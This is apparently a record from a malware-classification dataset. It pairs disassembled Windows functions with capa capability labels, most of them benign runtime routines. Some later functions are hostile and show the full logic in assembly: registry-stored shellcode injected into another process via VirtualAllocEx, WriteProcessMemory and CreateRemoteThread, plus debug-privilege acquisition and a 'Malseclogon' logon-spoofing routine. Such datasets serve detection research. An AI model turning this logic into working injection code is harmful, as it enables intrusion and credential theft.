joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001487
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400ad6f0]
mov dword [rax], 1
mov rax, qword [0x1400ad700]
mov dword [rax], 1
mov rax, qword [0x1400ad710]
mov dword [rax], 1
mov rax, qword [0x1400ad680]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140002a40
Capabilities:
Query environment variable

Disassembly:
push r13
mov eax, 0x10078
push r12
call fcn.14008daa0
sub rsp, rax
xor eax, eax
mov r8d, 0x28
mov rdx, rcx
lea r12, [rsp + 0x20]
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea r13, [rsp + 0x70]
mov rcx, r12
call fcn.140020510
mov rdx, r13
mov r8d, 0x10000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140002aa1
mov rcx, r13
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop r12
pop r13
ret

Function at 0x140002ab0
Capabilities:
Set environment variable

Disassembly:
push r13
push r12
sub rsp, 0x78
xor eax, eax
mov r8d, 0x28
lea r13, [rsp + 0x20]
mov r12, rdx
mov rdx, rcx
mov word [rsp + 0x20], ax
mov rcx, r13
call fcn.140020510
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x78
pop r12
pop r13
ret
Function at 0x140002b80
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbx
sub rsp, 0x70
mov rbx, rdx
mov r14, r8
mov r15, rcx
call fcn.14001bdc0
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python311.dll_PyObject_GetAttrString]
mov rcx, rbx
mov r12, rax
call qword [sym.imp.python311.dll_PyUnicode_FromString]
mov r13, rax
test r14, r14
je 0x140002c3a
mov rdx, r14
mov rcx, rbx
call fcn.140002ab0
mov rcx, r14
mov rdx, 0xffffffffffffffff
call sub.python311.dll_PyUnicode_FromWideChar
mov rdx, r13
mov rcx, r12
mov r14, rax
mov r8, rax
call qword [sym.imp.python311.dll_PyObject_SetItem]
test eax, eax
jne 0x140002c7c
sub qword [r14], 1
jne 0x140002c01
mov rcx, r14
call fcn.140002af0
sub qword [r13], 1
jne 0x140002c10
mov rcx, r13
call fcn.140002af0
sub qword [r12], 1
jne 0x140002c2c
mov rcx, r12
add rsp, 0x70
pop rbx
pop r12
pop r13
pop r14
pop r15
jmp fcn.140002af0
add rsp, 0x70
pop rbx
pop r12
pop r13
pop r14
pop r15
ret
lea r14, [rsp + 0x20]
mov r8d, 0x28
mov rdx, rbx
mov word [rsp + 0x20], 0
mov rcx, r14
call fcn.140020510
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.python311.dll_PyObject_DelItem]
test eax, eax
je 0x140002c01
mov rcx, r15
call fcn.140002b00
jmp 0x140002c01
mov ecx, 1
call qword [sym.imp.python311.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python311.dll_Py_Exit]
nop
nop word cs:[rax + rax]
nop
Function at 0x140082b20
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with crc32

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400be069], 0
mov r12, rcx
mov r13, rdx
mov rdi, r8
je 0x140082ba8
lea rdx, [0x1400ababa]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140082cc0
mov rsi, qword [0x1400bdf20]
jmp 0x140082b65
lea rsi, [rdx + rax + 4]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rsi
mov ebx, eax
call sub.msvcrt.dll_strlen
lea rdx, [rsi + rax + 1]
mov eax, dword [rdx]
test ebx, ebx
jne 0x140082b60
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, r12
mov rdx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp fcn.1400704f0
mov r8d, 0xa
mov edx, 3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400bdf20], rax
mov rdx, rax
mov r9d, dword [rax]
lea rax, [rax + 4]
mov qword [0x1400bdf20], rax
mov eax, dword [rdx + 4]
lea rcx, [rdx + 8]
mov qword [0x1400bdf20], rcx
test eax, eax
je 0x140082ca8
sub eax, 1
lea r8, [rdx + rax + 9]
mov eax, 0xffffffff
nop word [rax + rax]
movzx edx, byte [rcx]
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
shr eax, 1
and edx, 1
add rcx, 1
neg edx
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
cmp r8, rcx
jne 0x140082c10
not eax
cmp r9d, eax
jne 0x140082d28
mov byte [0x1400be069], 1
jmp 0x140082b3d
cmp byte [0x1400be068], 0
jne 0x140082b54
mov rbx, qword [sym.imp.python311.dll_PyDict_New]
call rbx
mov qword [0x1400be9c8], rax
call rbx
mov qword [0x1400be9c0], rax
call rbx
mov qword [0x1400be9b8], rax
call rbx
mov qword [0x1400be9b0], rax
call rbx
mov qword [0x1400be9a8], rax
call rbx
mov qword [0x1400be9a0], rax
call rbx
mov qword [0x1400be998], rax
call rbx
mov byte [0x1400be068], 1
mov qword [0x1400be990], rax
jmp 0x140082b54
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14008c7a0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14009db00
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14009db00
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x14008d452
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400bee88]
test eax, eax
je 0x14008d4ea
lea rax, [0x1400bee60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400bee90]
mov qword [rbp - 8], rax
jmp 0x14008d4ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14008d4c2
cmp qword [rbp - 0x10], 0
je 0x14008d4c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14008d488
lea rax, [0x1400bee60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14008d4eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14008d5f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14008d618
mov eax, 0
jmp 0x14008d666
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14008d641
mov eax, 0
jmp 0x14008d666
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14008d661
mov eax, 0
jmp 0x14008d666
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14008d66c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14008d6ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14008d6e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14008d6e1
mov rax, qword [rbp - 8]
jmp 0x14008d6ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14008d6b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001408
Capabilities:
Hash data with crc32

Disassembly:
lea r8, [0x180039600]
sub rax, rax
test rcx, rcx
je 0x180001523
dec rax
test rdx, rdx
je 0x180001521
test rcx, 3
je 0x18000144d
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001427
mov r10, rdx
and r10, 7
shr rdx, 3
je 0x1800014fc
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x18000145e
mov rdx, r10
test rdx, rdx
je 0x180001521
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001504
not eax
ret
Function at 0x180007460
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rsi, rdx
lea rdx, [0x180048c5c]
call fcn.18001e340
mov rdi, rax
test rax, rax
jne 0x180007494
lea rcx, str._nERR:_unable_to_open_input_file_n
call fcn.180004ef0
lea eax, [rdi + 1]
add rsp, 0x38
pop rdi
pop rsi
ret
xor edx, edx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], r12
mov rcx, rdi
mov qword [rsp + 0x28], r14
lea r8d, [rdx + 2]
call fcn.18001ed38
mov rcx, rdi
call fcn.180019fb4
xor r8d, r8d
mov r12d, eax
xor edx, edx
mov rcx, rdi
call fcn.18001ed38
mov ecx, r12d
mov ebx, r12d
call fcn.180018ff0
mov r14, rax
test rax, rax
jne 0x1800074f1
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004ef0
lea eax, [r14 + 1]
jmp 0x18000765d
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.18001fd98
cmp rax, rbx
je 0x18000751f
lea rcx, str._nERR:_error_reading_from_input_file_n
call fcn.180004ef0
mov eax, 1
jmp 0x18000765d
mov rcx, r14
mov qword [rsp + 0x58], rbp
call fcn.1800010a0
mov ebp, eax
cmp eax, 0xffffffff
jne 0x180007549
lea rcx, str._nERR:_compressed_data_error_n
call fcn.180004ef0
mov eax, 1
jmp 0x180007658
mov rcx, rbp
mov qword [rsp + 0x20], r15
call fcn.180018ff0
mov r15, rax
test rax, rax
jne 0x180007573
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004ef0
lea eax, [r15 + 1]
jmp 0x180007653
mov qword [rsp + 0x30], r13
call fcn.18001e140
mov r9d, ebp
mov r8, r15
mov edx, r12d
mov rcx, r14
mov ebx, eax
call section..text
mov dword [rsp + 0x60], eax
call fcn.18001e140
mov r13d, eax
sub r13d, ebx
cmp dword [rsp + 0x60], ebp
je 0x1800075bb
lea rcx, str._nERR:_an_error_occured_while_decompressing_n
call fcn.180004ef0
mov eax, 1
jmp 0x18000764e
cmp qword [rsi + 0x18], 8
jb 0x1800075c5
mov rsi, qword [rsi]
lea rdx, [0x180048d1c]
mov rcx, rsi
call fcn.18001e32c
mov rbx, rax
test rax, rax
jne 0x1800075ed
lea rcx, str._nERR:_unable_to_create_output_file_n
call fcn.180004ef0
lea eax, [rbx + 1]
jmp 0x18000764e
mov esi, dword [rsp + 0x60]
mov r9, rbx
mov r8d, esi
mov edx, 1
mov rcx, r15
call fcn.18001f588
movd xmm3, r13d
lea rcx, str.Decompressed__u_____u_bytes_in__.2f_seconds_n
cvtdq2pd xmm3, xmm3
mov r8d, esi
mov edx, r12d
divsd xmm3, qword [0x180049478]
movq r9, xmm3
call fcn.180004ef0
mov rcx, rdi
call fcn.18001eac4
mov rcx, rbx
call fcn.18001eac4
mov rcx, r14
call fcn.180018fdc
mov rcx, r15
call fcn.180018fdc
xor eax, eax
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x58]
mov r12, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x28]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x180007680
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13e0
call fcn.180012680
sub rsp, rax
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], r12w
lea r8d, [r12 + 0x24]
lea rdx, str.abcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x28]
call fcn.180002660
nop
mov qword [rsi], r12
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 7
mov word [rsi], r12w
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call fcn.18001f818
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
mov eax, ecx
inc rbx
cmp rbx, 0x270
jb 0x180007711
mov dword [rsp + 0x50], 0x270
mov ebx, dword [rsp + 0x38]
dec ebx
mov ebp, 6
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x28]
nop
cmp ebx, 0xffffffff
jne 0x180007763
lea rcx, [rsp + 0x50]
call fcn.18000e520
mov edx, eax
jmp 0x1800077a1
lea edi, [rbx + 1]
mov ecx, r12d
mov eax, r12d
test ebx, ebx
je 0x180007781
lea rcx, [rsp + 0x50]
call fcn.18000e520
mov ecx, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov r8d, eax
xor edx, edx
mov eax, ecx
div edi
cmp eax, r8d
jb 0x18000779b
cmp r9d, ebx
jne 0x180007766
xor edx, edx
mov eax, ecx
div edi
lea rcx, [rsp + 0x28]
cmp r15, 8
cmovae rcx, r14
movsxd rax, edx
movzx r9d, word [rcx + rax*2]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
cmp rcx, rdx
jae 0x1800077e4
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 8
jb 0x1800077d7
mov rax, qword [rsi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x1800077ec
mov rcx, rsi
call fcn.18000ced0
sub rbp, 1
jne 0x180007750
cmp r15, 8
jb 0x18000782d
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x180007825
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000784c
mov rcx, r14
call fcn.180011de8
mov rax, rsi
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.180018f64
int3
Function at 0x180007860
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x290
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
lea rax, [rsp + 0x2a8]
lea rbx, [0x1804894d0]
mov qword [rsp + 0x20], rax
cmovae rbx, qword [0x1804894d0]
lea rdx, str.Console
xor r8d, r8d
mov r9d, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180007a37
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x2b0], rbp
xor r8d, r8d
xor ebp, ebp
mov rdx, rbx
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007a2f
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x288], rsi
call fcn.180018ff0
mov rcx, qword [rsp + 0x2a8]
mov rsi, rax
lea rax, [rsp + 0x2a0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007a27
mov qword [rsp + 0x280], rdi
lea ecx, [rbp + 2]
xor edx, edx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800079aa
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800079a1
lea rdx, [0x180048df0]
lea rcx, [rsp + 0x6c]
call fcn.18001e57c
test eax, eax
je 0x18000799d
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007974
jmp 0x1800079a1
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x2b0]
add rsp, 0x290
pop rbx
ret
Function at 0x180007a40
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rax + 0x10]
xor ebx, ebx
lea rdx, [0x180048460]
xor ecx, ecx
mov dword [rax + 0x18], ebx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x180007a94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LookupPrivilegeValueW___failed__error__u_n
call fcn.180004ef0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x180007af3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges___failed__error__u_n
call fcn.180004ef0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rcx, rdi
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x50], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
jne 0x180007b50
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.PrivilegeCheck___failed__error__u_n
call fcn.180004ef0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
cmp dword [rsp + 0x80], ebx
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x180007b70
Capabilities:
Check for peb beingdebugged flag
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0xf0
xor r14d, r14d
mov ebx, ecx
mov qword [rsp + 0x120], r14
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x120]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x120]
call fcn.180007a40
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
lea r9d, [r14 + 2]
xorps xmm1, xmm1
mov esi, eax
xor eax, eax
lea r8, str.MalseclogonPwd
xorps xmm0, xmm0
lea rcx, str.MalseclogonUser
mov qword [rdx + 0x40], rbx
mov qword [rdx + 0x48], rsi
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x70], rax
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r14
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
movups xmmword [rsp + 0xd0], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
lea r11, [rsp + 0xf0]
mov qword [rcx + 0x40], rdi
mov qword [rcx + 0x48], rsi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x180007cb0
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007d08
lea rdx, str.dwm.exe
lea rcx, [rsp + 0x4c]
call fcn.18001e57c
mov rcx, rbx
test eax, eax
je 0x180007d1f
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007ce1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
add rsp, 0x260
pop rbx
ret
Function at 0x180007d40
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007d98
lea rdx, [0x180048df0]
lea rcx, [rsp + 0x4c]
call fcn.18001e57c
mov rcx, rbx
test eax, eax
je 0x180007daf
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007d71
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
add rsp, 0x260
pop rbx
ret